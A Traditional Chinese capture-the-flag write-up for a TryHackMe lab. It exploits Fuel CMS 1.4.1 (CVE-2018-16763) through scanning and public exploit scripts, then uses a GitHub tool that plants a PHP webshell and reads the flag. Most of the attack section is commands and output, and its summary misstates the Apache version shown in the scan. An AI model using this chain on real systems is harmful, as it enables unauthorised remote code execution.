TryHackMe Vulnerability Capstone writeup (zh-TW)

題目資訊
- 平台: TryHackMe
- 難度: Easy
- 題目連結: https://tryhackme.com/room/vulnerabilitycapstone
發現服務
Nmap 掃描
└─$ nmap -Pn -sV -sC 10.201.27.44
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 15:46 CST
Nmap scan report for 10.201.27.44
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c9:f5:89:c3:63:5a:00:51:0a:5d:ff:af:ae:8d:c6:b5 (RSA)
| 256 0f:31:0b:68:2c:dc:4d:a9:a9:e6:93:a9:dc:9a:1c:72 (ECDSA)
|_ 256 d0:63:65:cb:b6:fd:d9:a9:ea:07:9e:48:5f:dd:38:c2 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.17 seconds
結果
- 80/tcp: Apache httpd 2.4.18
- 服務: Fuel CMS
Step 1: Web 服務偵察
訪問 http://10.201.27.44/
發現 Fuel CMS 首頁。
版本識別
- 從首頁或錯誤訊息可確認版本:Fuel CMS 1.4
- 此版本存在已知 RCE 漏洞
Step 2: 漏洞研究
搜尋已知漏洞
searchsploit fuel cms
發現多個 exploit
Fuel CMS 1.4.1 - Remote Code Execution (1) | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2) | php/webapps/49487.rb
Fuel CMS 1.4.1 - Remote Code Execution (3) | php/webapps/50477.py
漏洞說明
- CVE-2018-16763: Fuel CMS 1.4.1 允許透過
pages/select/
的filter
參數進行 PHP 代碼注入 - 影響版本: <= 1.4.1
- 漏洞類型: Pre-Auth RCE(無需認證)
Step 3: 漏洞利用嘗試
方法 1: Python exploit (失敗)
# 嘗試使用 ExploitDB 上的腳本
python3 50477.py -u http://10.201.27.44/
問題
- 輸出解析錯誤
- 只顯示 "system" 或 PHP 錯誤訊息
- 命令雖執行但無法正確顯示結果
方法 2: Ruby exploit (失敗)
# 安裝依賴
gem install docopt
# 執行
ruby 49487.rb http://10.201.27.44 "ls -la"
問題
NoMethodError: undefined method 'captures' for nil
- 正則表達式匹配失敗
- 輸出解析邏輯有 bug
Step 4: 成功利用 - p0dalirius 工具
使用最佳工具
這個工具會自動上傳 PHP webshell 並提供互動式 shell,完全避開輸出解析問題。
安裝與執行
# Clone repository
git clone https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE.git
cd CVE-2018-16763-FuelCMS-1.4.1-RCE
# 執行互動式 console
python3 console.py -t http://10.201.27.44
工作原理
- Webshell 上傳: 利用
file_put_contents
透過 CVE-2018-16763 上傳 PHP webshell - 互動式 Shell: 透過 API 端點執行命令,輸出乾淨無 HTML 干擾
Step 5: 偵察
└─$ python3 console.py -t http://10.201.27.44
CVE-2018-16763-FuelCMS-1.4.1-RCE - by Remi GASCOU (Podalirius)
[+] Shell was uploaded in http://10.201.27.44/908b945f78d04d3fbe1d23b40a369094.php
[webshell]> ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
[webshell]> ls -al /home/ubuntu
total 40
drwxr-xr-x 5 ubuntu ubuntu 4096 Sep 3 2021 .
drwxr-xr-x 3 root root 4096 Sep 3 2021 ..
-rw------- 1 ubuntu ubuntu 178 Sep 3 2021 .Xauthority
lrwxrwxrwx 1 ubuntu ubuntu 9 Sep 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 ubuntu ubuntu 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25 2020 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Sep 3 2021 .cache
drwxrwxr-x 3 ubuntu ubuntu 4096 Sep 3 2021 .local
-rw-r--r-- 1 ubuntu ubuntu 807 Feb 25 2020 .profile
drwx------ 2 ubuntu ubuntu 4096 Sep 3 2021 .ssh
-rw-r--r-- 1 ubuntu ubuntu 0 Sep 3 2021 .sudo_as_admin_successful
-rw-rw-r-- 1 ubuntu ubuntu 23 Sep 3 2021 flag.txt
[webshell]> cat /home/ubuntu/flag.txt
THM{Redacted}
技術要點總結
CVE-2018-16763 漏洞細節
- 受影響參數:
/fuel/pages/select/?filter=
/fuel/pages/preview/
(data 參數)
- 為何許多 exploit 失敗:
- 使用
system()
函數,輸出混雜在 HTML 錯誤中 - 正則表達式無法正確提取輸出
- PHP Warning 訊息干擾
- 使用
經驗分享
關於Step 3、Step 4:
這一步基本上searchsploit的腳本都測試過,不過發現都沒辦法,最後在github上找到比較穩定的版本,所以也不必每次都依賴searchsploit,可以尋找比較新或是穩定的exploit版本。